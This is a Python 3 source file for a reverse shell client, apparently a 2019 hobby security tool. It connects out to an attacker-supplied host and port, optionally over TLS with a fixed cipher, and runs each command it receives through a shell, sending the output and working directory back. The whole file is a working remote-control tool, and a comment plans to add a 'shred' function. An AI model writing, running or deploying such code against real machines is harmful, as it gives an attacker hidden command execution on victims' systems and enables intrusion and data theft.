#!/usr/bin/env python3
"""
Author       - pyCity
Date         - 3/26/2019
Version      - 2.0

Usage:       - python client.py --enc 127.0.0.1 4444

Description: - Reverse shell in python 3. Has TLS functionality using
             - a DHE-RSA-AES256-SHA256 cipher.
"""

import socket
import subprocess
import os
#
from ssl import SSLContext, PROTOCOL_TLSv1_2
from argparse import ArgumentParser
from time import sleep


class Client:
    def __init__(self, host, port, enc):
        self.host = host
        self.port = port
        self.enc = enc
        try:
            self.sock = socket.socket()
        except socket.error as hell:
            raise hell

    def reverse_tcp(self):
        """
        Create socket object and try to connect to host 10 times
        Receive commands from remote server and execute on local machine"""

        for i in range(10):
            try:
                if self.enc:
                    context = SSLContext(PROTOCOL_TLSv1_2)
                    context.set_ciphers('DHE-RSA-AES256-SHA256')
                    context.load_dh_params("dhparam.pem")
                    context.load_cert_chain(certfile="server.crt", keyfile="server.key")
                    self.sock = context.wrap_socket(self.sock, do_handshake_on_connect=True)
                self.sock.connect((self.host, self.port))
            except:
                sleep(5)

        while True:
            data = self.sock.recv(1024).decode("utf-8")
            print("Recieved: {}".format(data))
            if data[:2] == "cd":
                os.chdir(data[3:].strip())
            elif data[:4].strip() == "kill":
                break
            if len(data) > 0:
                cmd = subprocess.Popen(data[:], shell=True, stdout=subprocess.PIPE,
                                       stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                response = cmd.stdout.read() + cmd.stderr.read()
                output = str(response, "utf-8")
                self.sock.send(str.encode(output + str(os.getcwd()) + '#> '))  # Send output + shell prompt to host
        self.sock.close()
        exit()


# Add a shred function
if __name__ == "__main__":
    parser = ArgumentParser(description="Python reverse tcp client")
    parser.add_argument("host", help="Remote host name to connect to")
    parser.add_argument("port", help="Remote port to connect to", type=int)
    parser.add_argument("--enc", help="Enable TLS encryption", action="store_true")
    args = parser.parse_args()
    host, port, enc = args.host, args.port, args.enc

    client_1 = Client(host, port, enc)
    client_1.reverse_tcp()
